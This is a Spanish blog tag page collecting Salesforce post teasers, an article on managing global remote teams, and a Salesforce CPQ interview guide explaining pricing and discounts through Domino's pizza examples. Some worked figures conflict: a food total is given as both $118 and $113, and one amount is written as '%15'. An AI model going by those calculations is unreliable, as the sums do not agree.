Skip to content

Etiqueta: Paquetes

Mejore los conocimientos de los usuarios con interacciones personalizadas para AppExchange App Analytics ☁️

Mejore los conocimientos de los usuarios con interacciones personalizadas para AppExchange App Analytics ☁️

Los partners ISV ya pueden utilizar interacciones personalizadas para AppExchange App Analytics con el fin de conocer cómo utilizan los clientes los paquetes gestionados.

The post Obtenga mejores perspectivas de los usuarios con interacciones personalizadas para AppExchange App Analytics appeared first on Blog de desarrolladores de Salesforce.

Seguir leyendo

¿Qué es la gestión de pedidos y por qué debería importarle?

Un sistema de gestión de pedidos es el cerebro detrás de las escenas en el viaje de pedidos y cumplimiento. Puede hacer o deshacer la relación con sus clientes

The post ¿Qué es la gestión de pedidos y por qué debería importarle? appeared first on Salesforce.

El sistema de gestión de pedidos es el cerebro entre bastidores de los procesos de pedido y entrega

Seguir leyendo

Cree pruebas integrales rápidamente con la extensión de UTAM para Chrome ☁️

Cree pruebas integrales rápidamente con la extensión de UTAM para Chrome ☁️

Construya pruebas de extremo a extremo rápidamente con dos elementos que hacen grande a UTAM: los objetos de página base (PO) y la extensión UTAM para Chrome.

Los objetos de página base (PO) y la extensión UTAM para Chrome son dos elementos que hacen grande a UTAM

The post Construya pruebas de extremo a extremo rápidamente con la extensión UTAM Chrome appeared first on Blog de desarrolladores de Salesforce.

Seguir leyendo

Desbloquear el atractivo para el cliente: El poder de una propuesta de valor

Desbloquee el atractivo del cliente: Descubra el poder de una propuesta de valor convincente, creando resonancia y elevando su marca sin esfuerzo.

Seguir leyendo

Ventas para pequeñas empresas: Una guía completa

Los SMBs tienen una variedad de motivaciones, y tus soluciones necesitan ayudarles a alcanzar sus objetivos.

Seguir leyendo

Optimice su organización de Salesforce con estas 7 perspectivas críticas

Aunque esperamos que su organización de Salesforce sea la excepción, según las últimas investigaciones, es probable que albergue más de 2000 riesgos de seguridad de código personalizado, alrededor de 14 paquetes instalados obsoletos y muchos errores de automatización. Pero seguro que su organización es la excepción, ¿verdad? Recientemente hemos analizado los metadatos agregados de cientos de orgs reales de Salesforce y […]

El post Optimice su organización de Salesforce con estos 7 datos críticos appeared first on Salesforce Ben.

Su organización es la excepción

Seguir leyendo

Enviar, registrar, repetir: registro de alertas de correo electrónico como actividades

Enviar, registrar, repetir: registro de alertas de correo electrónico como actividades

Última actualización el 24 de octubre de 2023 por Rakesh Gupta Big Idea or Enduring Question: ¿Cómo se registran los correos electrónicos enviados con la acción ‘enviar correo electrónico’? Objetivos: Después de leer este blog, serás capaz de: Utilizar el flujo activado por registro para enviar una alerta por correo electrónico. Utilizar la acción de flujo «Enviar correo electrónico». Utilizar

The post Enviar, registrar, repetir: registro de alertas de correo electrónico como actividades appeared first on Campeón de la Automatización.

Las alertas de correo electrónico se envían por correo electrónico

Seguir leyendo

🚀Salesforce CPQ Scenario Based Interview Question Cubriendo cada tema sobre Salesforce CPQ🎯

Me llamo Smriti Sharan. Soy un ávido blogger y YouTuber. Desgloso conceptos complejos con divertidos ejemplos relacionables en tiempo real para que aprender sea divertido. ¡¡¡Wow!!! Puedes… Leer más «

El post 🚀Salesforce CPQ Scenario Based Interview Question Covering every topic on Salesforce CPQ🎯 appeared first on .

Seguir leyendo

Claves Para Manejar Equipos Globales Con Exito

A medida que crece la economía mundial más empresas están ayudando a la expansión internacional. Esto se refiere a la confianza en la fuerza de trabajo dispersa. Se ha transformado en algo muy común el tener empleados remotos en diferentes lugares.

La mayoría de los empleados prefieren trabajar con empresas que ofrezcan trabajo remoto. Considerando que hasta el 25% de la fuerza de trabajo global en las empresas son 100% remoto y tienen políticas de equipos virtuales, podemos decir que apoyando una entorno de trabajo diverso es también celebrado de manera mundial.

¿Quieres aprender cómo navegar en las complejidades de manejar un equipo global? NoHQ tiene recursos accionables que pueden ayudarte a alcanzarlo. En este artículo se explora la importancia de los equipos globales para tu empresa. También aprenderás consejos prácticos que te ayudarán a construir de manera exitosa equipos globales que funcionen.

¿Por qué son importantes los Equipos Globales?

Las empresas internacionales funcionan mejor cuando tienen talentos alrededor del mundo. ¿Por qué? 

  • Los Equipos Globales Fomentan la inclusividad y la diversidad en tu empresa. Con su amplio rango de experiencia. los miembros del equipo distribuidos pueden ayudar a crear y desarrollar estrategias y soluciones. Además trabajar en diferentes husos horarios iguala una estructura de soporte flexible y mayor alcance. Porque los miembros del equipo están disponibles más horas durante el día, pueden responder a la lista de clientes global. 
  • Otra importancia de los equipos globales es la productividad aumentada. Ya que buscan tareas en diferentes zonas horarias tienden a complementar proyectos más rápidamente. Sin importar si el 31 % de los profesionales de recursos humanos estableciera  la productividad como el beneficio central de los equipos globales.
  • Los equipos globales efectivos ayudan a las empresas a competir en el mercado actual sin límite de zonas. 

Pero, ¿cómo se gerencia de manera efectiva a tus equipos a través de los límites y establecer su éxito? 

10 Modos Para Manejar de Manera Exitosa a Los Equipos globales

1. Programa Reuniones Regulares Para El Equipo Completo

Tener reuniones de equipo programadas es la clave para tener equipos comprometidos y alineados. Esto es cierto incluso para los equipos distantes socialmente. Las reuniones son oportunidades de colaboración esencial que ayudan a los miembros a trabajar juntos, compartir ideas y lograr objetivos. 

Ya que los equipos tienen un tiempo limitado en común, es mejor que tengan reuniones de equipos estructuradas con agendas bien planeadas. Asegúrate de adherirte a los horarios de rutinas y crear una retina que funcione para todos. 

El 96% de los que respondieron a este estudio acordaron que la conferencia por video favorece la conectividad entre los equipos remotos. También ayuda a los miembros del equipo a construir empatía y confianza. Por lo tanto elige plataformas como Zoom, GoogleMeet, o Skype.

2. Invierte en Herramientas de Control de Tareas

Las herramientas de control de tareas y de proyectos son programas basados en la nube que te permiten mantener un registro de las tareas de tu equipo y plazos. Pueden enviar recordatorios y dar informes diarios, semanales y mensuales. Las aplicaciones de seguimiento de tiempo son una inversión excelente si tu empresa paga por hora.  

Estos programas te ayudan de manera efectiva a manejar el equipo de tu equipo a donde estén. Asignar tareas, establecer plazos y monitorear su progreso de manera simultánea. La mejor parte? Los miembros de equipo que trabajan en proyectos compartidos pueden ser elegidos en lugares desocupados por otros. Las aplicaciones de seguimiento de tareas como Asana, Monday.com, y Trello pueden ayudarte a manejar un equipo global de manera efectiva. 

3. Mejora la Comunicación

Manejar el flujo de trabajo, agendas y tareas a través de los diferentes lugares y zonas horarios puede ser desalentador. Incluso con herramientas de manejo de proyectos, los mensajes pueden ser a veces perdidos en la traducción. 

Garantizar que tienes una comunicación clara y frecuente con cada miembro del equipo es un modo de fomentar el compromiso del empleado y construir equipos globales que funcionen. Asegúrate de discutir las expectativas para cada rendimiento, progreso, desafíos y cambios de cada miembro del equipo. 

Crea oportunidades para que ellos sugieran ideas y resuelvan desacuerdos cuando sea necesario. La comunicación uno a uno también crea espacio para la devolución honesta de ambos lados. 

4. Ofrece Critica Constructiva

Un feedback honesto y abierto crea relaciones basadas en la confianza contigo y con tu equipo. Es también una oportunidad para seguir su crecimiento profesional y ofrecer consejo que pueda mejorar su rendimiento laboral. Nótese que es mejor dar una crítica constructiva y feedback durante las reuniones uno a uno. Las mismas pueden ser realizadas una vez por mes, cada tres meses o al final de un proyecto.

El mejor modo de dar feedback es:

  • Garantizar que tu rendimiento sea específico. 
  • Ofrecer premios y halagos por sus contribuciones y exitos.
  • Dirigirlos a recursos relevantes para ayudarlos a mejorar.

5. Contrata a la gente correcta 

Cuando contratas, busca gente que tenga la experiencia y el perfil para tu empresa. No todos pueden manejar el trabajo remoto. Contratar a la persona equivocada puede rápidamente ocasionar problemas para tu equipo global. Para evitar esto, haz que el candidato tome evaluaciones de personalidad relevantes. También debes corroborar sus referencias.

¿Quieres estar seguro en cómo reclutar para trabajos remotos? NoHQ es una gran plataforma que ayuda a suavizar los desafíos de contratación globales para muchas empresas. Reimagina tu proceso de contratación remota con tu guía de contratación.

6. Anticípate a los Obstáculos 

Trabajar de manera remota tiene su único conjunto de obstáculos. Piensa en distracciones como los ruidos de vecinos, niños, lavarropas o incluso de las mascotas. Esto puede afectar la capacidad de cada miembro de equipo para focalizarse y ser productivo. anticiparse a estos obstáculos únicos te ayudarán a ofrecer el apoyo correcto a tu. Equipo remoto. También estarán mejor preparados para superar obstáculos y alcanzar los objetivos establecidos. 

Para manejar a los equipos globales exitosamente, considera ofrecer opciones de trabajo alternativa donde sea posible. También, trata de no restringir sus horas de trabajo a un horario específico. La mayoría de las personas que trabajan remoto tienden a ser más productivas en horarios pocos comunes del día, desde la medianoche a la madrugada. 

7. Toma nota de las diferencias culturales

Los equipos globales tienden a incluir gente de diferentes culturas y profesiones. Los miembros de equipos pueden sentirse irrespetuosos o ignorados cuando estas diferencias no son reconocidas. Para evitar esto, fomenta las conversaciones respetuosas e inclusivas sobre las diferencias culturales.  Esto abrirá posibilidades al equipo y mejores modos de manejar ciertas situaciones. Junto con un entendimiento profundo de requisitos culturales diferentes y prácticas comerciales, serás capaz de dete,Omar como las diferencias afectaran a otros miembros del equoipo.

8. Crea una comunidad Virtual 

Los empleados que trabajan de manera remota tienden a sentirse fácilmente dejados. Para garantizarles que permanecen comprometidos: construye una comunidad virtual donde todos se sientan parte d e una familia. Esto disparará una colaboración cultural y unión en el equipo.

¿Como puedes hacerlo? Tecnología de apalancamiento y herramientas de colaboración. Además no todo es trabajo, cuando estés trabajando con equipos globales, puedes organizar reuniones de café virtual, almuerzos o,momentos de recreación. Esto los ayudará a establecer conexiones y fomentar el espíritu de equipo.

9. Brinda todos los recursos necesarios 

El brindar apoyo a los empleados reomots incluye darles todos los recursos que necesitan para realizar el trabajo. Para gaarntizar el exito de tu esfuerzos en el gerenciamiento del proyecto global, no pases por alto las necesidades de tu equipo.  

Si existiera una falla en la comunicacion, construyela con entrenamiento del idioma y clases de oratoria. Los empleados probalblemnte tengan exito en sus trabajos cuando existen oportinades de desarrollo porfesional .

10. Implementa Paquetes y Beneficios de Compensación Justa

:Los paquetes de compensación y los beneficios son fundamentales al contratar y retener a los empleados. Compensation packages, and perks are instrumental in hiring and retaining employees. Although providing free catered lunches and gym memberships may work for office-based employees, they won’t for global teams

Some tried and trusted perks for remote employees include: 

  • paid time off
  • WFH equipment
  • child care assistance
  • coworking stipend
  • learning stipends for online classes, etc.

🤤 ¡Decodificación de precios, descuentos y preguntas de la entrevista en cascada de precios de Salesforce CPQ con escenarios de Domino's Pizza! 🍕

🤤 ¡Decodificación de precios, descuentos y preguntas de la entrevista en cascada de precios de Salesforce CPQ con escenarios de Domino's Pizza! 🍕

Enlace de Whatsapp para el grupo Salesforce CPQ

¿Está listo para profundizar en los métodos de fijación de precios de Salesforce CPQ, el modelo de cascada de precios y los descuentos de CPQ? Entenderemos los precios de Salesforce CPQ y abordaremos las preguntas de la entrevista con la ayuda de las deliciosas ofertas de Domino. 🤤📊🍕

Dominó's Pizza | Akron OH

¿Cuáles son los métodos de fijación de precios en Salesforce CPQ?

Métodos de fijación de precios

¿Cuál es el precio de lista en Salesforce CPQ?

Precios en Salesforce Cpq

El precio de lista es el precio que se recupera de la entrada del libro de precios. Una parte importante del precio de lista es la entrada en el libro de precios, ya que los precios se invocan desde el libro de precios. Cada producto debe tener una entrada en el libro de precios; de lo contrario, el producto no aparecerá en la página de selección del editor de líneas de cotización.

Por ejemplo, Domino's tiene su nueva pizza “AI Extravaganza”, con un precio de $24 en su lista de precios CPQ. Ese es nuestro precio de lista. Ahora, en “Techie Night”, ofrecen un 20% de descuento para todos los entusiastas de la tecnología. Salesforce CPQ toma el precio de lista de $24, calcula el descuento del 20 % y al cliente se le ofrece la pizza a $19,20. Pero sin que la entrada del libro de precios de lista establezca el precio de lista.

¿Cuál es el precio de costo?

El precio de costo se utiliza cuando un producto cuesta una cantidad específica para obtenerlo, luego puede agregar el precio de costo y agregar el precio de margen al producto. El margen de beneficio se puede negociar entre los representantes de ventas y el cliente. El precio de costo es el precio que se completa en el precio especial. campo.

Imagine la nueva pizza “AI Extravaganza” de Domino's. Los ingredientes, la mano de obra y los costos generales suman hasta $15 por pizza: ese es nuestro precio de costo. Ahora, Domino's quiere una parte de las ganancias, por lo que añaden un margen de beneficio. Digamos que lo aumentan en $9, lo que hace que el precio de lista sea de $24 (el precio que ves en el menú).

¿Qué es el precio por bloque?

Los precios en bloque son los precios que se actualizan en función de las cantidades del producto comprado. Por ejemplo, un paquete de 1 a 10 unidades costará 10 $, 10 a 20 unidades costará 18 $ y así sucesivamente.

Para configurar el precio por bloque necesitamos actualizar los 4 datos.
Nombre: establezca el nombre para bloquear el método de fijación de precios.
Límite inferior: la cantidad más baja para el rango de cantidades.
Límite superior: la cantidad más alta para el rango de cantidades.
Precio: Precio que se configurará para el rango de cantidad determinado.
Precios en Salesforce Cpq
Nota: El límite superior del precio de un bloque y el límite inferior del precio del siguiente bloque deben ser iguales.

Entendamos con la ayuda del escenario de Dominos, imaginemos el precio en bloque como la oferta especial de Domino's en sus pizzas, pero en lugar de "Compre 1, obtenga 1 gratis", es más como "¡Compre más, ahorre más!". Este enfoque se utiliza en Salesforce CPQ para alentar a los clientes a comprar en mayores volúmenes reduciendo el precio unitario a medida que aumenta la cantidad.

Digamos que Domino's está vendiendo su pizza "AI Extravaganza" e introduce una estrategia de precios en bloque para impulsar las ventas:

– **Nombre**: “Acuerdo en bloque de extravagancia de IA”

– **Límite inferior**: 1 (número mínimo de pizzas)

– **Límite superior**: 10 (número máximo de pizzas antes del siguiente bloque)

– **Precio**: $24 por pizza

Entonces, si pides entre 1 y 10 pizzas “AI Extravaganza”, cada una te costará $24. Pero Domino's quiere incentivarlo a pedir más para sus reuniones tecnológicas o noches de juegos, por lo que presenta lo siguiente:

– **Límite inferior del siguiente bloque**: 11

– **Límite superior del siguiente bloque**: 20

– **Precio del siguiente bloque**: $22 por pizza

Con esta oferta, si pides de 11 a 20 pizzas, el precio baja a $22 cada una. Los asistentes están contentos porque hay mucha pizza y Domino's está encantado con el pedido más grande. ¡Es beneficioso para todos!

Entonces, el precio por bloque es como desbloquear descuentos por volumen: cuanto más pides, más barata se vuelve cada pizza.

¿Qué es el porcentaje del total?
El porcentaje del total se calcula en función del porcentaje de la suma de todos los demás productos que se compran. Por ejemplo, la propina por una cuenta en un restaurante se calcularía en esta categoría.
Para implementar el porcentaje del total, necesitamos actualizar los siguientes campos en los productos:
Método de fijación de precios: configúrelo en "Porcentaje del total"
Porcentaje de la base total: este campo dice en qué campo de precio debemos implementar el porcentaje del total.
Anulación de precio de opción: este precio funcionará solo en el producto del paquete. Las opciones del producto son la opción del paquete. Puede anular el precio del producto si se vende de forma independiente y junto con el paquete.

¡Sumerjámonos en el concepto de “porcentaje del total” con un delicioso escenario de Domino!

Imagina que estás organizando una gran noche de juegos. Entonces, pides una variedad de pizzas, guarniciones y postres, suficiente para satisfacer los diversos antojos de tus amigos. Aquí hay un desglose de su pedido:

5 pizzas a $15 cada una $75
4 órdenes de pan de ajo a $5 cada una $20
3 pasteles de lava a $6 cada uno $18
Total $118
Las bebidas son una entidad separada.
6 botellas de refresco a $2.50 cada una %15

Así es como se integra en Salesforce CPQ:

Método de fijación de precios: seleccionaron "Porcentaje del total". Es dinámico y cambia con sus opciones y porciones de alimentos.

Porcentaje de la base total: se define como la “factura total de alimentos”, que es el costo de pizzas, guarniciones y postres, por un total de $113. Tus refrescos están fuera de esto.

Anulación de precio de opción: normalmente, una botella de cola de Domino's cuesta $2,50, pero usted pidió el "¡Combo!" ¡Este privilegio combinado reduce el costo de los refrescos a $1.80 por botella, lo que le permite ahorrar $4.20 en bebidas!

Total

El “impuesto de fiesta” es el 10% de $113, por lo que son $11,30. El costo total de la comida fue de $113, las bebidas fueron de $15 y con el descuento en bebidas debido a la oferta "Combo", restas $4.20 y luego sumas tu "Impuesto de fiesta" de $11.30. Entonces, ¡el total general de la noche es $135,10!

¿Explica el concepto de “precio de opciones”?

Imagina que estás organizando una fiesta de pizza y Domino's tiene esta oferta llamada "Paquete de fiesta de pizza", que incluye pizzas, guarniciones y bebidas.

Así es como funciona:

Precio opcional: en el “Paquete para fiestas de pizza”, el pan con ajo no cuesta $5; ¡cuesta solo $ 3,75! Obtiene un recorte de precio porque está en un paquete.

Pasos:

1. Primero, agrega pan de ajo a su carrito; sigue siendo $5.

2. Luego, eliges el “Paquete Pizza Party” y el pan de ajo en tu paquete ahora tiene un precio de $3.75.

Lo que sucede aquí, debido al concepto de Precio de Opción, es que el sistema verifica si el pan con ajo es parte del “Paquete de Pizza Party”. entra en vigor el precio con descuento de $ 3,75, como se especifica en la opción del paquete.

Precio de lista en Salesforce CPQ

¿Explicar las limitaciones en el precio de las opciones?

El precio de la opción no admite monedas múltiples, por lo que solo es posible definir el precio de anulación en una sola moneda.

¿Explicar los precios contratados en Salesforce CPQ?

Imagine que Domino's tiene una empresa cliente leal, “Pizza Lovers Texas Inc.”, una empresa local que pide pizzas para su personal todos los viernes. Dado que realizan pedidos con tanta frecuencia y al por mayor, Domino's quiere ofrecerles una oferta especial.

Así es como funciona:

1. Normalmente, una pizza vegetariana grande cuesta $15. Pero para Pizza Lovers Texas, Domino's establece un precio contratado de 12 dólares por pizza, un gesto de lealtad.

  1. En el sistema CPQ Salesforce de Domino, van a la cuenta de Pizza Lovers Texas.
  2. Navegue a la pestaña "Relacionados" y, en la sección "Precios contratados", hagan clic en "Nuevo".
  3. Seleccionan la pizza vegetariana en el campo "Producto" e ingresan $12 en el campo "Precio": se establece el precio contratado.

¡Consejos profesionales sobre precios contratados! 🍕✨

1. No hay ofertas dobles: si Pizza Lovers Texas Inc. tuviera dos precios contratados diferentes para la misma pizza vegetariana, un contrato la ofrece a $12 y otro anterior a $14. El sistema Salesforce de Domino no sabría cuál debo elegir. Para evitar esto, CPQ se asegura de tener solo UN precio contratado por producto para cada cuenta.

2. Excepciones de precios especiales: los productos que utilizan métodos de fijación de precios, precios en bloque o porcentaje del precio total, no funcionan con el precio contratado.

3 Asuntos familiares: si las Cuentas están vinculadas por una relación padre-hijo, entonces, de forma predeterminada, todos los hijos heredan el Precio Contratado creado en la Cuenta Padre.

Digamos que PizzaLovers Texas Inc. es parte de un imperio más grande, "PizzaLovers Universe", con subsidiarias como "PizzaLovers Chicago" y "PizzaLovers Bay" instaladas en diferentes ubicaciones. Domino's establece un precio contratado con la empresa matriz, "PizzaLovers Universe". Salesforce CPQ aplica automáticamente este precio contratado a todas las subsidiarias de PizzaLovers porque, en el mundo de la pizza, la familia está unida.

¿Explique el caso de uso de 'Ignorar precios contratados por los padres'?

¿Qué pasa si “PizzaLovers Chicago” negocia un trato exclusivo y diferente porque piden el doble cada viernes? Domino's simplemente cambia la opción "Ignorar precios contratados de la empresa matriz" a verdadero en esa cuenta, asegurando que "PizzaLovers Chicago" obtenga su oferta única, mientras que el resto aún se beneficia del precio contratado de la empresa matriz.

¿Explicar el precio “Anulación manual” en los precios de Salesforce CPQ? 🍕🔥

1.Crea tu propia pizza:

¿Por qué Domino's cobraría más cuando construyes tu propia pizza en lugar de personalizar una pizza especial? – Cuida tus decisiones

Dominos sabe que a veces quieres crear tu propia pizza. Por lo tanto, establecieron el campo "Precio editable" en verdadero en el producto "Crea tu propia pizza". Ingresa al Editor de líneas de cotización y puede ajustar el precio de lista según la cantidad y el tipo de ingredientes que elija para esa pizza.

Anulación manual en los precios de Salesforce CPQ

2. Flexibilidad:

Domino's ofrece conexión Wi-Fi gratuita en sus restaurantes. El Wi-Fi normalmente se "vende" usando el "Método de precio = Lista", pero para reservas de grupos grandes, lo ofrecen como un beneficio, parte del "Método de precio = Porcentaje del total" con la factura total. Para cambiar entre estos métodos, hacen que el campo "Método de fijación de precios" sea editable en el Editor de líneas de cotización configurando "Método de fijación de precios editable" en verdadero para el producto (en este caso, Wi-Fi).

Información de cotización en precios de Salesforce CPQ

3. Ofertas personalizadas para comidas personalizadas:

A veces, un cliente negocia un trato que no se ajusta a los métodos de fijación de precios habituales. Domino's responde configurando 'Método de fijación de precios = Personalizado' en el Editor de líneas de cotización. Luego, el personal puede establecer manualmente un precio personalizado.

establecer el método de fijación de precios en Salesforce CPQ

4. El lado sorpresa:

¿Alguna vez el personal de Domino's te recomendó pan de ajo con queso para pedir? A veces, lo agregan a su pedido como un artículo "Opcional" configurando el campo "Opcional" en verdadero en el Editor de líneas de cotización. No sumará su total, pero está ahí para que lo considere.

¿Explicar la cascada de precios?

Cascada | Geología, Erosión e Hidrología | Británica

¡Profundicemos en el concepto de cascada de precios en Salesforce CPQ! 💦

La cascada de precios de CPQ es un proceso/secuencia de varios pasos que utiliza diferentes precios y descuentos para llegar al precio neto (este es el campo de precio para el total de la línea de cotización/cotización).

Se describe como una cascada que se abre camino de arriba a abajo a través de los diferentes precios y descuentos/ajustes.

Precios de Salesforce CPQ y su descripción

1. Precio de lista:

Este es el punto de partida: el precio del menú. Digamos que el precio de lista de la pizza grande “ExtravaganZZa” de Domino's es de $20, como figura en su Libro de precios.

2. Precio Contratado:

Domino's tiene clientes leales, como el "Pizza Club", que cenan todos los martes. Han negociado un 5% de descuento en todas las pizzas a través de un programa de fidelización. Entonces, para ellos, el precio contratado para “ExtravaganZZa” no es $20 sino que baja a $19 ($20 menos 5%).

3. Precio especial:

En ocasiones, Domino's ofrece una promoción especial de un día, como “Cheesy Thursday”, donde todas las pizzas tienen un 10% de descuento adicional. Esta promoción se aplica sobre el Precio Contratado o el Precio de Lista. Para el leal “Pizza Club”, esto reduce su pizza de $19 a $17,10 para ese día.

4. Precio prorrateado:

Supongamos que un miembro del club quiere comprar la mitad de un “ExtravaganZZa” y la mitad de un “Veggie Delight” (también con un precio de 20 dólares). Dominos calcula un Precio Prorrateado, donde toman el Precio Especial ($17.10) y lo multiplican por un factor considerando el escenario de mitad y mitad, digamos 0.5 por cada mitad, lo que equivale a $8.55 por cada porción de media pizza.

5. Precio Regular:

Si no hay un escenario especial, se aplica el Precio Regular. Es el Precio Prorrateado o vuelve al Precio de Lista original. Entonces $19 por “ExtravaganZZa”.

En el contexto del escenario de Domino's pizza con Salesforce CPQ, analicemos en detalle el precio para el cliente, el precio para el socio y el precio neto.

6. Precio al cliente:

Es el precio final que paga un consumidor directo después de considerar todos los descuentos aplicables y precios especiales. Para los miembros del “Pizza Club” que cenen un “Cheesy Thursday”, el precio al cliente por un “ExtravaganZZa” sería la tarifa especial de $17,10.

7. Precio del socio:

El Precio de Socio es una tarifa especial que se ofrece a los socios comerciales, generalmente más baja que la tarifa estándar, para adaptarse a los márgenes de beneficio de los socios. Por ejemplo, una aplicación de entrega de alimentos 'Uber' podría recibir el "ExtravaganZZa" a un precio de socio de $16, lo que les permitirá aumentarlo para sus clientes.

8. Precio Neto:

Son los ingresos que el vendedor se queda con la venta después de deducir todos los descuentos, bonificaciones o rebajas. El precio neto refleja los ingresos reales que obtiene el vendedor por el producto antes de restar sus costos internos.

En el caso de Domino's, el precio neto es la cantidad que Domino's registra como ingreso por la pizza "ExtravaganZZa" vendida al miembro del club el "Cheesy Thursday".

¿Cómo puede Salesforce CPQ ayudar a una empresa a gestionar la complejidad de los precios de manera más eficiente?

Con Salesforce CPQ, en lugar de crear múltiples libros de precios, la empresa puede tener un libro de precios estándar y aplicar excepciones y ajustes de precios según sea necesario. Por ejemplo, si hay un descuento del 20 % a nivel nacional en la pizza "Veg Extravaganza", esto se puede aplicar además del libro de precios estándar sin crear uno nuevo.

¿Pueden los representantes de ventas ofrecer productos como parte de un paquete a un precio diferente con Salesforce CPQ, aunque sea el mismo producto que figura en el libro de precios?

Domino's 1 Pizza Grande (2 Toppings) + Coca Cola 2 Litros - Newegg.com

¡Sí! Salesforce CPQ permite configuraciones de precios avanzadas. Por ejemplo, una botella de “Coca-Cola” podría tener un precio de 2 dólares si se vende individualmente. Aún así, cuando forma parte del paquete “Family Feast” (que incluye pizzas, guarniciones y una bebida), el precio efectivo de la “Coca-Cola” dentro del paquete podría ser de solo $1,50. Este precio diferencial es posible dentro del mismo libro de precios debido a la flexibilidad de Salesforce CPQ.

¿Los representantes de ventas todavía necesitan libros de precios si utilizan Salesforce CPQ?

Sí, los libros de precios siguen siendo un elemento fundamental en Salesforce CPQ. Proporcionan los precios de referencia a partir de los cuales se derivan todos los ajustes, descuentos o precios especiales. Si un producto no tiene una entrada en el libro de precios, no aparecerá en la página de selección de productos y no se podrá agregar a una cotización. Incluso una entrada de $0 puede ser significativa, ya que puede indicar un artículo complementario o un producto cuyo precio final se determinará mediante los métodos de fijación de precios de Salesforce CPQ.

¿Qué deben recordar los representantes de ventas al crear nuevos productos en su sistema?

Domino's siempre debe asegurarse de que cualquier producto que introduzca tenga una entrada en el libro de precios asociada. Esta inclusión es crucial porque, sin ella, el producto no estará disponible para su selección al crear cotizaciones, incluso si está destinado a ser un artículo promocional con un valor de cero dólares.

Analicemos cómo funcionan los métodos de fijación de precios de Salesforce CPQ, centrándonos particularmente en la fijación de precios de opciones y su interacción con otros métodos, utilizando Domino's como nuestro escenario de ejemplo.

¿Para qué sirve la casilla de verificación incluida?

Diagrama de flujo de precios de lista

Si Domino's decide que el "Combo de fiesta" es una promoción especial y los artículos individuales que contiene (las opciones) no deben tener el precio habitual cuando se venden por separado, marcarán la casilla "Combinado" en Salesforce CPQ para este combo.

Esto significa que aunque una “Pizza Vegetariana” por sí sola suele costar $18, dentro del “Combo de Fiesta” tiene un precio de $0.00, al igual que los demás artículos del combo.

Descuentos en Salesforce CPQ

Métodos de descuento

¿Qué es el descuento opcional en CPQ?

Domino's ofrece un paquete de productos, similar a una oferta combinada, llamado "Pizza Fiesta". Este paquete incluye una pizza grande “Veggie Extravaganza”, “Cheesy Bread” y un refresco.

¿Cómo configurar el descuento opcional en CPQ?

  1. Creación de paquetes de productos: Domino's establece por primera vez un paquete de productos llamado “Pizza Fiesta” que incluye tres artículos:
  • Pizza “Extravagancia Vegetal”
  • “Pan con queso”
  • soda

2. Identificación del artículo con descuento: Domino's decide que el “Cheesy Bread” será un 10% más barato si se pide como parte del paquete “Pizza Fiesta”, en comparación con su precio regular a la carta.

3. Configuración del descuento en Salesforce CPQ: el administrador de Domino's ingresa a Salesforce CPQ y navega hasta el producto del paquete principal "Pizza Fiesta" en el sistema. En la pestaña Relacionados, encontrarán todos los productos que forman parte de este paquete enumerados como Opciones de producto.

4. Aplicación del descuento opcional: el administrador ubica el “Pan con queso” dentro de la lista de Opciones de producto para el paquete “Pizza Fiesta”. Luego establecieron un precio específico que indica que cuando el “Cheesy Bread” es parte del paquete “Pizza Fiesta”, genera un descuento del 10% en este artículo en particular.

¿Explicar la función de descuento manual en Salesforce CPQ?

Imagine que un cliente habitual realiza un pedido al por mayor para una próxima fiesta. Pidieron 20 pizzas “vegetarianas”, cada una con un precio original de $10. Para premiar esta compra al por mayor, el responsable comercial ha decidido ofrecer un descuento especial. En lugar del precio normal, quieren que el costo total de las 20 pizzas sea de $150, en lugar de $200.

¿Qué es un campo no descontable en Salesforce CPQ?

Domino's está realizando una promoción especial en pizzas "Veggie Delight", y estas no son elegibles para más descuentos. El campo "No descontable" se marcaría para este producto en Salesforce CPQ, evitando cualquier descuento manual adicional en este artículo, independientemente del tamaño del pedido.

¿Cómo agregar valores de Unidad y Total a la lista de selección?

Nos dirigimos al objeto Línea de Cotización y creamos un nuevo campo de tipo lista de selección con el nombre AdditionalDiscountUnit y los valores que se muestran a continuación.

Unidad de descuento adicional

Ahora podemos elegir valores adicionales.

monedas en cpq descuento

¿Explicar el descuento para socios y distribuidores en Salesforce CPQ?

Este método se utiliza cuando queremos darle un descuento de socio adicional al cliente. Los valores de estos descuentos se muestran en los campos Descuento de distribuidor y Precio unitario neto en el objeto Línea de cotización. Se calculan mediante las siguientes fórmulas:

Precio para socios = Precio para clientes – Descuento para socios

Precio neto = Precio de socio – Descuento de distribuidor

¿Explicar el descuento basado en el volumen?

Domino's quiere dar un incentivo a los clientes para que pidan más pizzas durante una copa mundial de cricket ofreciendo descuentos basados en el volumen.

Domino's Pizza en X: "¡El cricket es genial, pero el cricket con Domino's es aún mejor! Para celebrar esta temporada de cricket, te traemos nuestra oferta Cricket Fever. Disfruta de 2 pizzas medianas, 8

1. Configuración del programa de descuentos:

Editar niveles en cpq discountig

claves masivas en descuento cpq

El administrador de Domino's navega a la pestaña "Programaciones de descuentos" dentro de Salesforce CPQ y crea una nueva programación denominada "Especial del día del juego".

– Luego hacen clic en “Editar niveles” y configuran los niveles de volumen de la siguiente manera:

– 1-10 pizzas: 0% de descuento

– 11-20 pizzas: 10% de descuento

– 21-30 pizzas: 15% de descuento

– 31+ pizzas: 20% de descuento

– Guardan esta estructura de niveles, que dictará el descuento aplicado en función de la cantidad de pizzas solicitadas.

2. Aplicación del Programa de Descuentos a los Productos:

Luego, el administrador va a la pestaña "Productos" y selecciona las pizzas elegibles para esta promoción, como "Cheesy Extravaganza" y "Veggie Feast".

– En el campo “Programa de descuentos” de cada producto, seleccionan el programa “Especial del día del juego” que crearon previamente.

Calendario de descuentos de Salesforce CPQ

3. Realización de pedidos y cálculo de descuentos:

– Un cliente hace un pedido de 25 pizzas “Cheesy Extravaganza” durante el fin de semana del evento de cricket.

– Cuando el pedido ingresa al sistema, el comercial crea una nueva cotización y le agrega las 25 pizzas.

– Al hacer clic en “Calcular” en Salesforce CPQ, el sistema reconoce automáticamente que la cantidad cae en el nivel 21-30, aplicando así un descuento del 15% al pedido.

– El representante de ventas ve el precio regular y el precio con descuento uno al lado del otro, confirmando que el descuento por volumen se aplicó correctamente.

editar cotización en descuento de salesforce cpq

4. Verificación de los detalles del descuento:

Junto a la pizza "Cheesy Extravaganza" en la cotización, aparece un signo "$" para indicar que se aplica un programa de descuentos.

Programación de descuentos en descuentos de Salesforce CPQ

Al hacer clic en él, el representante de ventas (y cualquier otro usuario con los permisos necesarios) puede ver los niveles de descuento, lo que brinda transparencia sobre cómo se calculó el precio final.

¿Cuál es la estructura del programa de descuentos?

